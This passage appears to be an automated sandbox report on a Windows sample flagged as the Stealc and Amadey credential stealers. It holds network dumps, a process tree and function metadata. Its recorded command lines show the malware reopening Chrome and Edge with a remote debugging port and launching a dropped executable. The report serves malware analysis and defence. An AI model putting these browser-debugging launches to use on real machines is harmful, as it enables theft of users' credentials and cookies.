2024-11-16 22:36:41 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-16 22:36:41 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-16 22:36:41 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49926	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 22:36:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 22:36:42 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 22:35:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C556_SN1 x-ms-request-id: b30670ab-2b7d-4a8c-9509-11559a4c83a1 PPServer: PPV: 30 H: SN1PEPF0002FA5C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 22:36:42 GMT Connection: close Content-Length: 11392
2024-11-16 22:36:42 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Target ID:	0
Start time:	17:36:06
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8b0000
File size:	1'754'112 bytes
MD5 hash:	9EA9935BE7E022C3C028426DECBDEADC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2121691323.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2518469068.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:36:15
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:36:16
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2212,i,15052726617655152396,536506818659578356,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:36:25
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:36:25
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2176,i,10427859700933374548,10018492864798821703,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:36:25
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:36:26
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:36:30
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:36:30
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:36:47
Start date:	16/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBAAFIDGDA.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:36:47
Start date:	16/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:36:47
Start date:	16/11/2024
Path:	C:\Users\user\DocumentsDBAAFIDGDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDBAAFIDGDA.exe"
Imagebase:	0xc50000
File size:	3'270'144 bytes
MD5 hash:	6503303FF59D16ED151B805E96A7D413
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2575163475.0000000000C51000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:36:51
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7b0000
File size:	3'270'144 bytes
MD5 hash:	6503303FF59D16ED151B805E96A7D413
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2619281872.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:36:52
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7b0000
File size:	3'270'144 bytes
MD5 hash:	6503303FF59D16ED151B805E96A7D413
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2633397436.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:37:26
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	17:38:00
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7b0000
File size:	3'270'144 bytes
MD5 hash:	6503303FF59D16ED151B805E96A7D413
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3343411287.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GenuntelineI, xrefs: 6C653639
GTC, xrefs: 6C653912
QPC, xrefs: 6C6538FC
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
